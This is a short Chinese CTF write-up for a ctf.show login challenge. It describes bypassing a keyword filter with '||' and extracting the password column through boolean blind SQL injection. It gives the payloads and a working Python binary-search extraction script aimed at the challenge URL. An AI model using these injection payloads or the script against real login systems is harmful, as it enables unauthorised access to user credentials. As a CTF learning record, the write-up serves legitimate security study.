有4个段子,查看前端没思路,开扫描
发现存在admin目录
发现存在注入
fuzz测试一波
发现括号 | 没过滤,其他比如 or and & # -- 啥的全都过滤了,而||就是or,有or就可以注入
首先测试观察可知,输入admin,密码随便输入会提示密码错误,反之会提示 用户名/密码错误,另外用户名太长会单独提示用户名错误(相当于xianzhi注入语句长度了)
既然账号为admin和不为admin回显不同,这里就可以盲注了
u='||'1'<'0 (这里大于号和等于号被过滤了,前面的单引号和后面省略一个单引号和原语句闭合)
由于长度有限制,没法直接爆破字段名,这里靠一点点脑洞猜测密码字段名
密码是p,构造u='||length(p)<'10 来探测密码位数(探测出来是17位)
构造u='||substr(p,1,1)<'a 来探测每一位是啥
写脚本跑吧
import requests url = "http://7ade1780-adb8-42e3-9f71-c22cc4129184.challenge.ctf.show:8080//admin/checklogin.php" result = '' i = 0 ans="0123456789abcdefghijklmnopqrstuvwxyz" print(len(ans)) while True: i = i + 1 head = 0 tail = 36 while head < tail: mid = (head + tail) >> 1 print(mid) payload="'||substr(p,"+str(i)+",1)<'"+ans[mid]+"" print(payload) data = {"u":payload,"p":"1", } #print(payload) r = requests.post(url=url, data=data) #print(r.text) if "用户名" in r.text: head = mid + 1 else: tail = mid if head != 32: result += ans[head-1] else: break print(result)
密码是:cptbtptpbcptdtptp